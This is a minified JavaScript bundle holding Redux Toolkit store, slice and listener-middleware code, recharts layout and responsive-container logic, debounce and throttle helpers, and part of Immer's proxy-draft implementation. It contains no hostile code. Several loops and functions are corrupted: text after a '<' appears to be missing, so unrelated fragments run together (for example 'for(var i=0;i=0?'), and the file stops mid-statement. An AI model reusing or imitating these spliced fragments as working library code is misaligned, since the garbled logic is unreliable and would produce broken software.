wl(e,t,n){return e.has(t)?e.get(t):e.set(t,n(t)).get(t)}function t6(e){return typeof e=="boolean"}var n6=()=>function(t){const{thunk:n=!0,immutableCheck:r=!0,serializableCheck:i=!0,actionCreatorCheck:a=!0}=t??{};let o=new yk;return n&&(t6(n)?o.push(QO):o.push(JO(n.extraArgument))),o},bk="RTK_autoBatch",De=()=>e=>({payload:e,meta:{[bk]:!0}}),Qg=e=>t=>{setTimeout(t,e)},wk=(e={type:"raf"})=>t=>(...n)=>{const r=t(...n);let i=!0,a=!1,o=!1;const l=new Set,c=e.type==="tick"?queueMicrotask:e.type==="raf"?typeof window<"u"&&window.requestAnimationFrame?window.requestAnimationFrame:Qg(10):e.type==="callback"?e.queueNotification:Qg(e.timeout),u=()=>{o=!1,a&&(a=!1,l.forEach(d=>d()))};return Object.assign({},r,{subscribe(d){const f=()=>i&&d(),m=r.subscribe(f);return l.add(d),()=>{m(),l.delete(d)}},dispatch(d){var f;try{return i=!((f=d==null?void 0:d.meta)!=null&&f[bk]),a=!i,a&&(o||(o=!0,c(u))),r.dispatch(d)}finally{i=!0}}})},r6=e=>function(n){const{autoBatch:r=!0}=n??{};let i=new yk(e);return r&&i.push(wk(typeof r=="object"?r:void 0)),i};function i6(e){const t=n6(),{reducer:n=void 0,middleware:r,devTools:i=!0,preloadedState:a=void 0,enhancers:o=void 0}=e||{};let l;if(typeof n=="function")l=n;else if(kx(n))l=sk(n);else throw new Error(Qt(1));let c;typeof r=="function"?c=r(t):c=t();let u=Dc;i&&(u=e6({trace:!1,...typeof i=="object"&&i}));const d=DO(...c),f=r6(d);let m=typeof o=="function"?o(f):f();const h=u(...m);return ak(l,a,h)}function jk(e){const t={},n=[];let r;const i={addCase(a,o){const l=typeof a=="string"?a:a.type;if(!l)throw new Error(Qt(28));if(l in t)throw new Error(Qt(29));return t[l]=o,i},addAsyncThunk(a,o){return o.pending&&(t[a.pending.type]=o.pending),o.rejected&&(t[a.rejected.type]=o.rejected),o.fulfilled&&(t[a.fulfilled.type]=o.fulfilled),o.settled&&n.push({matcher:a.settled,reducer:o.settled}),i},addMatcher(a,o){return n.push({matcher:a,reducer:o}),i},addDefaultCase(a){return r=a,i}};return e(i),[t,n,r]}function a6(e){return typeof e=="function"}function s6(e,t){let[n,r,i]=jk(t),a;if(a6(e))a=()=>Zg(e());else{const l=Zg(e);a=()=>l}function o(l=a(),c){let u=[n[c.type],...r.filter(({matcher:d})=>d(c)).map(({reducer:d})=>d)];return u.filter(d=>!!d).length===0&&(u=[i]),u.reduce((d,f)=>{if(f)if(xr(d)){const h=f(d,c);return h===void 0?d:h}else{if(Mn(d))return vk(d,m=>f(m,c));{const m=f(d,c);if(m===void 0){if(d===null)return d;throw Error("A case reducer on a non-draftable value must not return undefined")}return m}}return d},l)}return o.getInitialState=a,o}var o6="ModuleSymbhasOwnPr-0123456789ABCDEFGHNRVfgctiUvz_KqYTJkLxpZXIjQW",l6=(e=21)=>{let t="",n=e;for(;n--;)t+=o6[Math.random()*64|0];return t},c6=Symbol.for("rtk-slice-createasyncthunk");function u6(e,t){return`${e}/${t}`}function d6({creators:e}={}){var n;const t=(n=e==null?void 0:e.asyncThunk)==null?void 0:n[c6];return function(i){const{name:a,reducerPath:o=a}=i;if(!a)throw new Error(Qt(11));const l=(typeof i.reducers=="function"?i.reducers(p6()):i.reducers)||{},c=Object.keys(l),u={sliceCaseReducersByName:{},sliceCaseReducersByType:{},actionCreators:{},sliceMatchers:[]},d={addCase(j,k){const S=typeof j=="string"?j:j.type;if(!S)throw new Error(Qt(12));if(S in u.sliceCaseReducersByType)throw new Error(Qt(13));return u.sliceCaseReducersByType[S]=k,d},addMatcher(j,k){return u.sliceMatchers.push({matcher:j,reducer:k}),d},exposeAction(j,k){return u.actionCreators[j]=k,d},exposeCaseReducer(j,k){return u.sliceCaseReducersByName[j]=k,d}};c.forEach(j=>{const k=l[j],S={reducerName:j,type:u6(a,j),createNotation:typeof i.reducers=="function"};h6(k)?v6(S,k,d,t):m6(S,k,d)});function f(){const[j={},k=[],S=void 0]=typeof i.extraReducers=="function"?jk(i.extraReducers):[i.extraReducers],N={...j,...u.sliceCaseReducersByType};return s6(i.initialState,z=>{for(let O in N)z.addCase(O,N[O]);for(let O of u.sliceMatchers)z.addMatcher(O.matcher,O.reducer);for(let O of k)z.addMatcher(O.matcher,O.reducer);S&&z.addDefaultCase(S)})}const m=j=>j,h=new Map,x=new WeakMap;let g;function y(j,k){return g||(g=f()),g(j,k)}function v(){return g||(g=f()),g.getInitialState()}function b(j,k=!1){function S(z){let O=z[j];return typeof O>"u"&&k&&(O=wl(x,S,v)),O}function N(z=m){const O=wl(h,k,()=>new WeakMap);return wl(O,z,()=>{const _={};for(const[T,E]of Object.entries(i.selectors??{}))_[T]=f6(E,z,()=>wl(x,z,v),k);return _})}return{reducerPath:j,getSelectors:N,get selectors(){return N(S)},selectSlice:S}}const w={name:a,reducer:y,actions:u.actionCreators,caseReducers:u.sliceCaseReducersByName,getInitialState:v,...b(o),injectInto(j,{reducerPath:k,...S}={}){const N=k??o;return j.inject({reducerPath:N,reducer:y},S),{...w,...b(N,!0)}}};return w}}function f6(e,t,n,r){function i(a,...o){let l=t(a);return typeof l>"u"&&r&&(l=n()),e(l,...o)}return i.unwrapped=e,i}var Ut=d6();function p6(){function e(t,n){return{_reducerDefinitionType:"asyncThunk",payloadCreator:t,...n}}return e.withTypes=()=>e,{reducer(t){return Object.assign({[t.name](...n){return t(...n)}}[t.name],{_reducerDefinitionType:"reducer"})},preparedReducer(t,n){return{_reducerDefinitionType:"reducerWithPrepare",prepare:t,reducer:n}},asyncThunk:e}}function m6({type:e,reducerName:t,createNotation:n},r,i){let a,o;if("reducer"in r){if(n&&!x6(r))throw new Error(Qt(17));a=r.reducer,o=r.prepare}else a=r;i.addCase(e,a).exposeCaseReducer(t,a).exposeAction(t,o?vn(e,o):vn(e))}function h6(e){return e._reducerDefinitionType==="asyncThunk"}function x6(e){return e._reducerDefinitionType==="reducerWithPrepare"}function v6({type:e,reducerName:t},n,r,i){if(!i)throw new Error(Qt(18));const{payloadCreator:a,fulfilled:o,pending:l,rejected:c,settled:u,options:d}=n,f=i(e,a,d);r.exposeAction(t,f),o&&r.addCase(f.fulfilled,o),l&&r.addCase(f.pending,l),c&&r.addCase(f.rejected,c),u&&r.addMatcher(f.settled,u),r.exposeCaseReducer(t,{fulfilled:o||jl,pending:l||jl,rejected:c||jl,settled:u||jl})}function jl(){}var g6="task",kk="listener",Nk="completed",Cx="cancelled",y6=`task-${Cx}`,b6=`task-${Nk}`,Sm=`${kk}-${Cx}`,w6=`${kk}-${Nk}`,fd=class{constructor(e){nf(this,"name","TaskAbortError");nf(this,"message");this.code=e,this.message=`${g6} ${Cx} (reason: ${e})`}},Px=(e,t)=>{if(typeof e!="function")throw new TypeError(Qt(32))},Vc=()=>{},Sk=(e,t=Vc)=>(e.catch(t),e),zk=(e,t)=>(e.addEventListener("abort",t,{once:!0}),()=>e.removeEventListener("abort",t)),_i=e=>{if(e.aborted)throw new fd(e.reason)};function Ck(e,t){let n=Vc;return new Promise((r,i)=>{const a=()=>i(new fd(e.reason));if(e.aborted){a();return}n=zk(e,a),t.finally(()=>n()).then(r,i)}).finally(()=>{n=Vc})}var j6=async(e,t)=>{try{return await Promise.resolve(),{status:"ok",value:await e()}}catch(n){return{status:n instanceof fd?"cancelled":"rejected",error:n}}finally{t==null||t()}},Hc=e=>t=>Sk(Ck(e,t).then(n=>(_i(e),n))),Pk=e=>{const t=Hc(e);return n=>t(new Promise(r=>setTimeout(r,n)))},{assign:Ca}=Object,Jg={},pd="listenerMiddleware",k6=(e,t)=>{const n=r=>zk(e,()=>r.abort(e.reason));return(r,i)=>{Px(r);const a=new AbortController;n(a);const o=j6(async()=>{_i(e),_i(a.signal);const l=await r({pause:Hc(a.signal),delay:Pk(a.signal),signal:a.signal});return _i(a.signal),l},()=>a.abort(b6));return i!=null&&i.autoJoin&&t.push(o.catch(Vc)),{result:Hc(e)(o),cancel(){a.abort(y6)}}}},N6=(e,t)=>{const n=async(r,i)=>{_i(t);let a=()=>{};const l=[new Promise((c,u)=>{let d=e({predicate:r,effect:(f,m)=>{m.unsubscribe(),c([f,m.getState(),m.getOriginalState()])}});a=()=>{d(),u()}})];i!=null&&l.push(new Promise(c=>setTimeout(c,i,null)));try{const c=await Ck(t,Promise.race(l));return _i(t),c}finally{a()}};return(r,i)=>Sk(n(r,i))},Ek=e=>{let{type:t,actionCreator:n,matcher:r,predicate:i,effect:a}=e;if(t)i=vn(t).match;else if(n)t=n.type,i=n.match;else if(r)i=r;else if(!i)throw new Error(Qt(21));return Px(a),{predicate:i,type:t,effect:a}},Ak=Ca(e=>{const{type:t,predicate:n,effect:r}=Ek(e);return{id:l6(),effect:r,type:t,predicate:n,pending:new Set,unsubscribe:()=>{throw new Error(Qt(22))}}},{withTypes:()=>Ak}),ey=(e,t)=>{const{type:n,effect:r,predicate:i}=Ek(t);return Array.from(e.values()).find(a=>(typeof n=="string"?a.type===n:a.predicate===i)&&a.effect===r)},zm=e=>{e.pending.forEach(t=>{t.abort(Sm)})},S6=(e,t)=>()=>{for(const n of t.keys())zm(n);e.clear()},ty=(e,t,n)=>{try{e(t,n)}catch(r){setTimeout(()=>{throw r},0)}},_k=Ca(vn(`${pd}/add`),{withTypes:()=>_k}),z6=vn(`${pd}/removeAll`),Ok=Ca(vn(`${pd}/remove`),{withTypes:()=>Ok}),C6=(...e)=>{console.error(`${pd}/error`,...e)},Ro=(e={})=>{const t=new Map,n=new Map,r=h=>{const x=n.get(h)??0;n.set(h,x+1)},i=h=>{const x=n.get(h)??1;x===1?n.delete(h):n.set(h,x-1)},{extra:a,onError:o=C6}=e;Px(o);const l=h=>(h.unsubscribe=()=>t.delete(h.id),t.set(h.id,h),x=>{h.unsubscribe(),x!=null&&x.cancelActive&&zm(h)}),c=h=>{const x=ey(t,h)??Ak(h);return l(x)};Ca(c,{withTypes:()=>c});const u=h=>{const x=ey(t,h);return x&&(x.unsubscribe(),h.cancelActive&&zm(x)),!!x};Ca(u,{withTypes:()=>u});const d=async(h,x,g,y)=>{const v=new AbortController,b=N6(c,v.signal),w=[];try{h.pending.add(v),r(h),await Promise.resolve(h.effect(x,Ca({},g,{getOriginalState:y,condition:(j,k)=>b(j,k).then(Boolean),take:b,delay:Pk(v.signal),pause:Hc(v.signal),extra:a,signal:v.signal,fork:k6(v.signal,w),unsubscribe:h.unsubscribe,subscribe:()=>{t.set(h.id,h)},cancelActiveListeners:()=>{h.pending.forEach((j,k,S)=>{j!==v&&(j.abort(Sm),S.delete(j))})},cancel:()=>{v.abort(Sm),h.pending.delete(v)},throwIfCancelled:()=>{_i(v.signal)}})))}catch(j){j instanceof fd||ty(o,j,{raisedBy:"effect"})}finally{await Promise.all(w),v.abort(w6),i(h),h.pending.delete(v)}},f=S6(t,n);return{middleware:h=>x=>g=>{if(!ok(g))return x(g);if(_k.match(g))return c(g.payload);if(z6.match(g)){f();return}if(Ok.match(g))return u(g.payload);let y=h.getState();const v=()=>{if(y===Jg)throw new Error(Qt(23));return y};let b;try{if(b=x(g),t.size>0){const w=h.getState(),j=Array.from(t.values());for(const k of j){let S=!1;try{S=k.predicate(g,w,y)}catch(N){S=!1,ty(o,N,{raisedBy:"predicate"})}S&&d(k,g,h,v)}}}finally{y=Jg}return b},startListening:c,stopListening:u,clearListeners:f}};function Qt(e){return`Minified Redux Toolkit error #${e}; visit https://redux-toolkit.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var P6={layoutType:"horizontal",width:0,height:0,margin:{top:5,right:5,bottom:5,left:5},scale:1},Tk=Ut({name:"chartLayout",initialState:P6,reducers:{setLayout(e,t){e.layoutType=t.payload},setChartSize(e,t){e.width=t.payload.width,e.height=t.payload.height},setMargin(e,t){var n,r,i,a;e.margin.top=(n=t.payload.top)!==null&&n!==void 0?n:0,e.margin.right=(r=t.payload.right)!==null&&r!==void 0?r:0,e.margin.bottom=(i=t.payload.bottom)!==null&&i!==void 0?i:0,e.margin.left=(a=t.payload.left)!==null&&a!==void 0?a:0},setScale(e,t){e.scale=t.payload}}}),{setMargin:E6,setLayout:A6,setChartSize:_6,setScale:O6}=Tk.actions,T6=Tk.reducer;function Mk(e,t,n){return Array.isArray(e)&&e&&t+n!==0?e.slice(t,n+1):e}function ye(e){return Number.isFinite(e)}function ai(e){return typeof e=="number"&&e>0&&Number.isFinite(e)}function ny(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ga(e){for(var t=1;t{if(t&&n){var{width:r,height:i}=n,{align:a,verticalAlign:o,layout:l}=t;if((l==="vertical"||l==="horizontal"&&o==="middle")&&a!=="center"&&ue(e[a]))return ga(ga({},e),{},{[a]:e[a]+(r||0)});if((l==="horizontal"||l==="vertical"&&a==="center")&&o!=="middle"&&ue(e[o]))return ga(ga({},e),{},{[o]:e[o]+(i||0)})}return e},Jn=(e,t)=>e==="horizontal"&&t==="xAxis"||e==="vertical"&&t==="yAxis"||e==="centric"&&t==="angleAxis"||e==="radial"&&t==="radiusAxis",R6=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(u[0]=a,a+=m,u[1]=a):(u[0]=o,o+=m,u[1]=o)}}}},$6=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(c[0]=a,a+=u,c[1]=a):(c[0]=0,c[1]=0)}}}},B6={sign:R6,expand:P_,none:Wi,silhouette:E_,wiggle:A_,positive:$6},F6=(e,t,n)=>{var r,i=(r=B6[n])!==null&&r!==void 0?r:Wi,a=C_().keys(t).value((l,c)=>Number(Le(l,c,0))).order(hm).offset(i),o=a(e);return o.forEach((l,c)=>{l.forEach((u,d)=>{var f=Le(e[d],t[c],0);Array.isArray(f)&&f.length===2&&ue(f[0])&&ue(f[1])&&(u[0]=f[0],u[1]=f[1])})}),o};function W6(e){return e==null?void 0:String(e)}function ry(e){var{axis:t,ticks:n,bandSize:r,entry:i,index:a,dataKey:o}=e;if(t.type==="category"){if(!t.allowDuplicatedCategory&&t.dataKey&&!wt(i[t.dataKey])){var l=z5(n,"value",i[t.dataKey]);if(l)return l.coordinate+r/2}return n!=null&&n[a]?n[a].coordinate+r/2:null}var c=Le(i,wt(o)?t.dataKey:o),u=t.scale.map(c);return ue(u)?u:null}var U6=e=>{var t=e.flat(2).filter(ue);return[Math.min(...t),Math.max(...t)]},V6=e=>[e[0]===1/0?0:e[0],e[1]===-1/0?0:e[1]],H6=(e,t,n)=>{if(e!=null)return V6(Object.keys(e).reduce((r,i)=>{var a=e[i];if(!a)return r;var{stackedData:o}=a,l=o.reduce((c,u)=>{var d=Mk(u,t,n),f=U6(d);return!ye(f[0])||!ye(f[1])?c:[Math.min(c[0],f[0]),Math.max(c[1],f[1])]},[1/0,-1/0]);return[Math.min(l[0],r[0]),Math.max(l[1],r[1])]},[1/0,-1/0]))},iy=/^dataMin[\s]*-[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,ay=/^dataMax[\s]*\+[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,Kc=(e,t,n)=>{if(e&&e.scale&&e.scale.bandwidth){var r=e.scale.bandwidth();if(!n||r>0)return r}if(e&&t&&t.length>=2){for(var i=id(t,d=>d.coordinate),a=1/0,o=1,l=i.length;o{if(t==="horizontal")return e.chartX;if(t==="vertical")return e.chartY},q6=(e,t)=>t==="centric"?e.angle:e.radius,Sr=e=>e.layout.width,zr=e=>e.layout.height,Y6=e=>e.layout.scale,Lk=e=>e.layout.margin,hd=L(e=>e.cartesianAxis.xAxis,e=>Object.values(e)),xd=L(e=>e.cartesianAxis.yAxis,e=>Object.values(e)),Ik="data-recharts-item-index",Dk="data-recharts-item-id",$o=60;function oy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function kl(e){for(var t=1;te.brush.height;function J6(e){var t=xd(e);return t.reduce((n,r)=>{if(r.orientation==="left"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:$o;return n+i}return n},0)}function eT(e){var t=xd(e);return t.reduce((n,r)=>{if(r.orientation==="right"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:$o;return n+i}return n},0)}function tT(e){var t=hd(e);return t.reduce((n,r)=>r.orientation==="top"&&!r.mirror&&!r.hide?n+r.height:n,0)}function nT(e){var t=hd(e);return t.reduce((n,r)=>r.orientation==="bottom"&&!r.mirror&&!r.hide?n+r.height:n,0)}var ft=L([Sr,zr,Lk,Q6,J6,eT,tT,nT,ik,_O],(e,t,n,r,i,a,o,l,c,u)=>{var d={left:(n.left||0)+i,right:(n.right||0)+a},f={top:(n.top||0)+o,bottom:(n.bottom||0)+l},m=kl(kl({},f),d),h=m.bottom;m.bottom+=r,m=D6(m,c,u);var x=e-m.left-m.right,g=t-m.top-m.bottom;return kl(kl({brushBottom:h},m),{},{width:Math.max(x,0),height:Math.max(g,0)})}),rT=L(ft,e=>({x:e.left,y:e.top,width:e.width,height:e.height}));L(Sr,zr,(e,t)=>({x:0,y:0,width:e,height:t}));var iT=p.createContext(null),In=()=>p.useContext(iT)!=null,vd=e=>e.brush,gd=L([vd,ft,Lk],(e,t,n)=>({height:e.height,x:ue(e.x)?e.x:t.left,y:ue(e.y)?e.y:t.top+t.height+t.brushBottom-((n==null?void 0:n.bottom)||0),width:ue(e.width)?e.width:t.width})),Rk={},$k={},Bk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r,{signal:i,edges:a}={}){let o,l=null;const c=a!=null&&a.includes("leading"),u=a==null||a.includes("trailing"),d=()=>{l!==null&&(n.apply(o,l),o=void 0,l=null)},f=()=>{u&&d(),g()};let m=null;const h=()=>{m!=null&&clearTimeout(m),m=setTimeout(()=>{m=null,f()},r)},x=()=>{m!==null&&(clearTimeout(m),m=null)},g=()=>{x(),o=void 0,l=null},y=()=>{d()},v=function(...b){if(i!=null&&i.aborted)return;o=this,l=b;const w=m==null;h(),c&&w&&d()};return v.schedule=h,v.cancel=g,v.flush=y,i==null||i.addEventListener("abort",g,{once:!0}),v}e.debounce=t})(Bk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Bk;function n(r,i=0,a={}){typeof a!="object"&&(a={});const{leading:o=!1,trailing:l=!0,maxWait:c}=a,u=Array(2);o&&(u[0]="leading"),l&&(u[1]="trailing");let d,f=null;const m=t.debounce(function(...g){d=r.apply(this,g),f=null},i,{edges:u}),h=function(...g){return c!=null&&(f===null&&(f=Date.now()),Date.now()-f>=c)?(d=r.apply(this,g),f=Date.now(),m.cancel(),m.schedule(),d):(m.apply(this,g),d)},x=()=>(m.flush(),d);return h.cancel=m.cancel,h.flush=x,h}e.debounce=n})($k);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=$k;function n(r,i=0,a={}){const{leading:o=!0,trailing:l=!0}=a;return t.debounce(r,i,{leading:o,maxWait:i,trailing:l})}e.throttle=n})(Rk);var aT=Rk.throttle;const sT=jr(aT);var ly=function(t,n){for(var r=arguments.length,i=new Array(r>2?r-2:0),a=2;ai[o++]))}},Vn={width:"100%",height:"100%",debounce:0,minWidth:0,initialDimension:{width:-1,height:-1}},Fk=(e,t,n)=>{var{width:r=Vn.width,height:i=Vn.height,aspect:a,maxHeight:o}=n,l=Ui(r)?e:Number(r),c=Ui(i)?t:Number(i);return a&&a>0&&(l?c=l/a:c&&(l=c*a),o&&c!=null&&c>o&&(c=o)),{calculatedWidth:l,calculatedHeight:c}},oT={width:0,height:0,overflow:"visible"},lT={width:0,overflowX:"visible"},cT={height:0,overflowY:"visible"},uT={},dT=e=>{var{width:t,height:n}=e,r=Ui(t),i=Ui(n);return r&&i?oT:r?lT:i?cT:uT};function fT(e){var{width:t,height:n,aspect:r}=e,i=t,a=n;return i===void 0&&a===void 0?(i=Vn.width,a=Vn.height):i===void 0?i=r&&r>0?void 0:Vn.width:a===void 0&&(a=r&&r>0?void 0:Vn.height),{width:i,height:a}}function Cm(){return Cm=Object.assign?Object.assign.bind():function(e){for(var t=1;t({width:n,height:r}),[n,r]);return xT(i)?p.createElement(Wk.Provider,{value:i},t):null}var Ex=()=>p.useContext(Wk),vT=p.forwardRef((e,t)=>{var{aspect:n,initialDimension:r=Vn.initialDimension,width:i,height:a,minWidth:o=Vn.minWidth,minHeight:l,maxHeight:c,children:u,debounce:d=Vn.debounce,id:f,className:m,onResize:h,style:x={}}=e,g=p.useRef(null),y=p.useRef();y.current=h,p.useImperativeHandle(t,()=>g.current);var[v,b]=p.useState({containerWidth:r.width,containerHeight:r.height}),w=p.useCallback((z,O)=>{b(_=>{var T=Math.round(z),E=Math.round(O);return _.containerWidth===T&&_.containerHeight===E?_:{containerWidth:T,containerHeight:E}})},[]);p.useEffect(()=>{if(g.current==null||typeof ResizeObserver>"u")return Za;var z=E=>{var U,K=E[0];if(K!=null){var{width:R,height:I}=K.contentRect;w(R,I),(U=y.current)===null||U===void 0||U.call(y,R,I)}};d>0&&(z=sT(z,d,{trailing:!0,leading:!1}));var O=new ResizeObserver(z),{width:_,height:T}=g.current.getBoundingClientRect();return w(_,T),O.observe(g.current),()=>{O.disconnect()}},[w,d]);var{containerWidth:j,containerHeight:k}=v;ly(!n||n>0,"The aspect(%s) must be greater than zero.",n);var{calculatedWidth:S,calculatedHeight:N}=Fk(j,k,{width:i,height:a,aspect:n,maxHeight:c});return ly(S!=null&&S>0||N!=null&&N>0,`The width(%s) and height(%s) of chart should be greater than 0, please check the style of container, or the props width(%s) and height(%s), or add a minWidth(%s) or minHeight(%s) or use aspect(%s) to control the height and width.`,S,N,i,a,o,l,n),p.createElement("div",{id:f?"".concat(f):void 0,className:Ve("recharts-responsive-container",m),style:uy(uy({},x),{},{width:i,height:a,minWidth:o,minHeight:l,maxHeight:c}),ref:g},p.createElement("div",{style:dT({width:i,height:a})},p.createElement(Uk,{width:S,height:N},u)))}),dy=p.forwardRef((e,t)=>{var n=Ex();if(ai(n.width)&&ai(n.height))return e.children;var{width:r,height:i}=fT({width:e.width,height:e.height,aspect:e.aspect}),{calculatedWidth:a,calculatedHeight:o}=Fk(void 0,void 0,{width:r,height:i,aspect:e.aspect,maxHeight:e.maxHeight});return ue(a)&&ue(o)?p.createElement(Uk,{width:a,height:o},e.children):p.createElement(vT,Cm({},e,{width:r,height:i,ref:t}))});function Ax(e){if(e)return{x:e.x,y:e.y,upperWidth:"upperWidth"in e?e.upperWidth:e.width,lowerWidth:"lowerWidth"in e?e.lowerWidth:e.width,width:e.width,height:e.height}}var yd=()=>{var e,t=In(),n=pe(rT),r=pe(gd),i=(e=pe(vd))===null||e===void 0?void 0:e.padding;return!t||!r||!i?n:{width:r.width-i.left-i.right,height:r.height-i.top-i.bottom,x:i.left,y:i.top}},gT={top:0,bottom:0,left:0,right:0,width:0,height:0,brushBottom:0},yT=()=>{var e;return(e=pe(ft))!==null&&e!==void 0?e:gT},bT=()=>pe(Sr),wT=()=>pe(zr),ze=e=>e.layout.layoutType,Qa=()=>pe(ze),jT=()=>{var e=Qa();if(e==="horizontal"||e==="vertical")return e},Vk=e=>{var t=e.layout.layoutType;if(t==="centric"||t==="radial")return t},kT=()=>{var e=Qa();return e!==void 0},Bo=e=>{var t=Qe(),n=In(),{width:r,height:i}=e,a=Ex(),o=r,l=i;return a&&(o=a.width>0?a.width:r,l=a.height>0?a.height:i),p.useEffect(()=>{!n&&ai(o)&&ai(l)&&t(_6({width:o,height:l}))},[t,n,o,l]),null},Hk=Symbol.for("immer-nothing"),fy=Symbol.for("immer-draftable"),en=Symbol.for("immer-state");function Cn(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var yo=Object.getPrototypeOf;function Ba(e){return!!e&&!!e[en]}function Hi(e){var t;return e?Kk(e)||Array.isArray(e)||!!e[fy]||!!((t=e.constructor)!=null&&t[fy])||Fo(e)||wd(e):!1}var NT=Object.prototype.constructor.toString(),py=new WeakMap;function Kk(e){if(!e||typeof e!="object")return!1;const t=Object.getPrototypeOf(e);if(t===null||t===Object.prototype)return!0;const n=Object.hasOwnProperty.call(t,"constructor")&&t.constructor;if(n===Object)return!0;if(typeof n!="function")return!1;let r=py.get(n);return r===void 0&&(r=Function.toString.call(n),py.set(n,r)),r===NT}function qc(e,t,n=!0){bd(e)===0?(n?Reflect.ownKeys(e):Object.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function bd(e){const t=e[en];return t?t.type_:Array.isArray(e)?1:Fo(e)?2:wd(e)?3:0}function Pm(e,t){return bd(e)===2?e.has(t):Object.prototype.hasOwnProperty.call(e,t)}function qk(e,t,n){const r=bd(e);r===2?e.set(t,n):r===3?e.add(n):e[t]=n}function ST(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}function Fo(e){return e instanceof Map}function wd(e){return e instanceof Set}function bi(e){return e.copy_||e.base_}function Em(e,t){if(Fo(e))return new Map(e);if(wd(e))return new Set(e);if(Array.isArray(e))return Array.prototype.slice.call(e);const n=Kk(e);if(t===!0||t==="class_only"&&!n){const r=Object.getOwnPropertyDescriptors(e);delete r[en];let i=Reflect.ownKeys(r);for(let a=0;a1&&Object.defineProperties(e,{set:Nl,add:Nl,clear:Nl,delete:Nl}),Object.freeze(e),t&&Object.values(e).forEach(n=>_x(n,!0))),e}function zT(){Cn(2)}var Nl={value:zT};function jd(e){return e===null||typeof e!="object"?!0:Object.isFrozen(e)}var CT={};function Ki(e){const t=CT[e];return t||Cn(0,e),t}var bo;function Yk(){return bo}function PT(e,t){return{drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0}}function my(e,t){t&&(Ki("Patches"),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function Am(e){_m(e),e.drafts_.forEach(ET),e.drafts_=null}function _m(e){e===bo&&(bo=e.parent_)}function hy(e){return bo=PT(bo,e)}function ET(e){const t=e[en];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function xy(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];return e!==void 0&&e!==n?(n[en].modified_&&(Am(t),Cn(4)),Hi(e)&&(e=Yc(t,e),t.parent_||Gc(t,e)),t.patches_&&Ki("Patches").generateReplacementPatches_(n[en].base_,e,t.patches_,t.inversePatches_)):e=Yc(t,n,[]),Am(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==Hk?e:void 0}function Yc(e,t,n){if(jd(t))return t;const r=e.immer_.shouldUseStrictIteration(),i=t[en];if(!i)return qc(t,(a,o)=>vy(e,i,t,a,o,n),r),t;if(i.scope_!==e)return t;if(!i.modified_)return Gc(e,i.base_,!0),i.base_;if(!i.finalized_){i.finalized_=!0,i.scope_.unfinalizedDrafts_--;const a=i.copy_;let o=a,l=!1;i.type_===3&&(o=new Set(a),a.clear(),l=!0),qc(o,(c,u)=>vy(e,i,a,c,u,n,l),r),Gc(e,a,!1),n&&e.patches_&&Ki("Patches").generatePatches_(i,n,e.patches_,e.inversePatches_)}return i.copy_}function vy(e,t,n,r,i,a,o){if(i==null||typeof i!="object"&&!o)return;const l=jd(i);if(!(l&&!o)){if(Ba(i)){const c=a&&t&&t.type_!==3&&!Pm(t.assigned_,r)?a.concat(r):void 0,u=Yc(e,i,c);if(qk(n,r,u),Ba(u))e.canAutoFreeze_=!1;else return}else o&&n.add(i);if(Hi(i)&&!l){if(!e.immer_.autoFreeze_&&e.unfinalizedDrafts_<1||t&&t.base_&&t.base_[r]===i&&l)return;Yc(e,i),(!t||!t.scope_.parent_)&&typeof r!="symbol"&&(Fo(n)?n.has(r):Object.prototype.propertyIsEnumerable.call(n,r))&&Gc(e,i)}}}function Gc(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&_x(t,n)}function AT(e,t){const n=Array.isArray(e),r={type_:n?1:0,scope_:t?t.scope_:Yk(),modified_:!1,finalized_:!1,assigned_:{},parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1};let i=r,a=Ox;n&&(i=[r],a=wo);const{revoke:o,proxy:l}=Proxy.revocable(i,a);return r.draft_=l,r.revoke_=o,l}var Ox={get(e,t){if(t===en)return e;const n=bi(e);if(!Pm(n,t))return _T(e,n,t);const r=n[t];return e.finalized_||!Hi(r)?r:r===Ff(e.base_,t)?(Wf(e),e.copy_[t]=Tm(r,e)):r},has(e,t){return t in bi(e)},ownKeys(e){return Reflect.ownKeys(bi(e))},set(e,t,n){const r=Gk(bi(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=Ff(bi(e),t),a=i==null?void 0:i[en];if(a&&a.base_===n)return e.copy_[t]=n,e.assigned_[t]=!1,!0;if(ST(n,i)&&(n!==void 0||Pm(e.base_,t)))return!0;Wf(e),Om(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_[t]=!0),!0},deleteProperty(e,t){return Ff(e.base_,t)!==void 0||t in e.base_?(e.assigned_[t]=!1,Wf(e),Om(e)):delete e.assigned_[t],e.copy_&&delete 